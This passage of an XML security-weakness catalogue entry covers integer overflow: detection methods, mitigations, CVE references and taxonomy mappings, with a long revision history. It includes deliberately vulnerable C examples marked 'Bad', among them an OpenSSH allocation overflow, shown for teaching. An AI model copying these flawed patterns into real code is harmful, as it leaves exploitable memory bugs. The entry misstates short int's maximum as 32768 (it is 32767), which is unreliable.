               <Note>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-1">
               <Method>Automated Static Analysis</Method>
               <Description>This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.</Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-2">
               <Method>Black Box</Method>
               <Description>Sometimes, evidence of this weakness can be detected using dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-7">
               <Method>Manual Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.</xhtml:p>
                  <xhtml:p>Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-3">
               <Phase>Requirements</Phase>
               <Strategy>Language Selection</Strategy>
               <Description>
                  <xhtml:p>Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>If possible, choose a language or compiler that performs automatic bounds checking.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>Use libraries or frameworks that make it easier to handle numbers without unexpected consequences.</xhtml:p>
                  <xhtml:p>Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-8">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.</xhtml:p>
                  <xhtml:p>Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-36">
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7]</xhtml:p>
                  <xhtml:p>Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-26">
               <Phase>Implementation</Phase>
               <Strategy>Compilation or Build Hardening</Strategy>
               <Description>Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-33">
               <Intro_Text>The following image processing code allocates a table for images.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>img_t table_ptr; /*struct containing img data, 10kB each*/<xhtml:br/>int num_imgs;<xhtml:br/>...<xhtml:br/>num_imgs = get_num_imgs();<xhtml:br/>table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>nresp = packet_get_int();<xhtml:br/>if (nresp &gt; 0) {<xhtml:div style="margin-left:1em;">response = xmalloc(nresp*sizeof(char*));<xhtml:br/>for (i = 0; i &lt; nresp; i++) response[i] = packet_get_string(NULL);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If nresp has the value 1073741824 and sizeof(char*) has its typical value of 4, then the result of the operation nresp*sizeof(char*) overflows, and the argument to xmalloc() will be 0. Most malloc() implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>short int bytesRec = 0;<xhtml:br/>char buf[SOMEBIGNUM];<xhtml:br/>
                     <xhtml:br/>while(bytesRec &lt; MAXGET) {<xhtml:div style="margin-left:1em;">bytesRec += getFromInput(buf+bytesRec);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In the above case, it is entirely possible that bytesRec may overflow, continuously creating a lower number than MAXGET and also overwriting the first MAXGET-1 bytes of buf.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In this example the method determineFirstQuarterRevenue is used to determine the first quarter revenue for an accounting/business application. The method retrieves the monthly sales totals for the first three months of the year, calculates the first quarter sales totals from the monthly sales totals, calculates the first quarter revenue based on the first quarter sales, and finally saves the first quarter revenue results to the database.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define JAN 1<xhtml:br/>#define FEB 2<xhtml:br/>#define MAR 3<xhtml:br/>
                     <xhtml:br/>short getMonthlySales(int month) {...}<xhtml:br/>
                     <xhtml:br/>float calculateRevenueForQuarter(short quarterSold) {...}<xhtml:br/>
                     <xhtml:br/>int determineFirstQuarterRevenue() {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// Variable for sales revenue for the quarter</xhtml:i>
                           <xhtml:br/>float quarterRevenue = 0.0f;<xhtml:br/>
                           <xhtml:br/>short JanSold = getMonthlySales(JAN); /* Get sales in January */<xhtml:br/>short FebSold = getMonthlySales(FEB); /* Get sales in February */<xhtml:br/>short MarSold = getMonthlySales(MAR); /* Get sales in March */<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// Calculate quarterly total</xhtml:i>
                           <xhtml:br/>short quarterSold = JanSold + FebSold + MarSold;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// Calculate the total revenue for the quarter</xhtml:i>
                           <xhtml:br/>quarterRevenue = calculateRevenueForQuarter(quarterSold);<xhtml:br/>
                           <xhtml:br/>saveFirstQuarterRevenue(quarterRevenue);<xhtml:br/>
                           <xhtml:br/>return 0;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, in this example the primitive type short int is used for both the monthly and the quarterly sales variables. In C the short int primitive type has a maximum value of 32768. This creates a potential integer overflow if the value for the three monthly sales adds up to more than the maximum value for the short int primitive type. An integer overflow can lead to data corruption, unexpected behavior, infinite loops and system crashes. To correct the situation the appropriate primitive type should be used, as in the example below, and/or provide some validation mechanism to ensure that the maximum value for the primitive type is not exceeded.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>...<xhtml:br/>float calculateRevenueForQuarter(long quarterSold) {...}<xhtml:br/>
                     <xhtml:br/>int determineFirstQuarterRevenue() {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>
                           <xhtml:i>// Calculate quarterly total</xhtml:i>
                           <xhtml:br/>long quarterSold = JanSold + FebSold + MarSold;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// Calculate the total revenue for the quarter</xhtml:i>
                           <xhtml:br/>quarterRevenue = calculateRevenueForQuarter(quarterSold);<xhtml:br/>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Note that an integer overflow could also occur if the quarterSold variable has a primitive type long but the method calculateRevenueForQuarter has a parameter of type short.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-21668</Reference>
               <Description>Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-21668</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-30860</Reference>
               <Description>Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-30860</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-30663</Reference>
               <Description>Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-30663</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2018-10887</Reference>
               <Description>Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2018-10887</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-1010006</Reference>
               <Description>Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-1010006</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2753</Reference>
               <Description>Chain: integer overflow leads to use-after-free</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2753</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1513</Reference>
               <Description>Chain: integer overflow in securely-coded mail program leads to buffer overflow. In 2005, this was regarded as unrealistic to exploit, but in 2020, it was rediscovered to be easier to exploit due to evolutions of the technology.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1513</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0391</Reference>
               <Description>Integer overflow via a large number of arguments.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0391</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0639</Reference>
               <Description>Integer overflow in OpenSSH as listed in the demonstrative examples.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0639</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1141</Reference>
               <Description>Image with large width and height leads to integer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1141</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0102</Reference>
               <Description>Length value of -1 leads to allocation of 0 bytes and resultant heap overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0102</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2013</Reference>
               <Description>Length value of -1 leads to allocation of 0 bytes and resultant heap overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2013</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-1000121</Reference>
               <Description>chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-1000121</Link>
            </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2013-1591</Reference>
	      <Description>Chain: an integer overflow (CWE-190) in the image size calculation causes an infinite loop (CWE-835) which sequentially allocates buffers without limits (CWE-1325) until the stack is full.</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2013-1591</Link>
	    </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Number Processing</Functional_Area>
            <Functional_Area>Memory Management</Functional_Area>
            <Functional_Area>Counters</Functional_Area>
         </Functional_Areas>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Integer overflow (wrap or wraparound)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Integer Overflow</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Integer overflow</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT18-C</Entry_ID>
               <Entry_Name>Evaluate integer expressions in a larger size before comparing or assigning to that size</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT30-C</Entry_ID>
               <Entry_Name>Ensure that unsigned integer operations do not wrap</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT32-C</Entry_ID>
               <Entry_Name>Ensure that operations on signed integers do not result in overflow</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT35-C</Entry_ID>
               <Entry_Name>Evaluate integer expressions in a larger size before comparing or assigning to that size</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM07-C</Entry_ID>
               <Entry_Name>Ensure that the arguments to calloc(), when multiplied, do not wrap</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM35-C</Entry_ID>
               <Entry_Name>Allocate sufficient memory for an object</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>3</Entry_ID>
               <Entry_Name>Integer Overflows</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
              <Entry_ID>SFP1</Entry_ID>
              <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 3-3</Entry_ID>
	      <Entry_Name>Req SR 3.5</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 3-3</Entry_ID>
	      <Entry_Name>Req SR 7.2</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-1</Entry_ID>
	      <Entry_Name>Req SR-2</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-1</Entry_ID>
	      <Entry_Name>Req SI-2</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-1</Entry_ID>
	      <Entry_Name>Req SVV-1</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-1</Entry_ID>
	      <Entry_Name>Req SVV-3</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
	      <Entry_Name>Req CR 3.5</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
	      <Entry_Name>Req CR 7.2</Entry_Name>
	    </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="92"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-145"/>
            <Reference External_Reference_ID="REF-146"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 20, &#34;Integer Overflows&#34; Page 620"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 7: Integer Overflows.&#34; Page 119"/>
            <Reference External_Reference_ID="REF-106"/>
            <Reference External_Reference_ID="REF-150"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Signed Integer Boundaries&#34;, Page 220"/>
         </References>
         <Notes>
            <Note Type="Relationship">Integer overflows can be primary to buffer overflows.</Note>
            <Note Type="Terminology">"Integer overflow" is sometimes used to cover several types of errors, including signedness errors, or buffer overflows that involve manipulation of integer data types instead of characters. Part of the confusion results from the fact that 0xffffffff is -1 in a signed context. Other confusion also arises because of the role that integer overflows have in chains.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Potential_Mitigations, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Detection_Factors, Functional_Areas, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Functional_Areas, Observed_Examples, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Detection_Factors</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
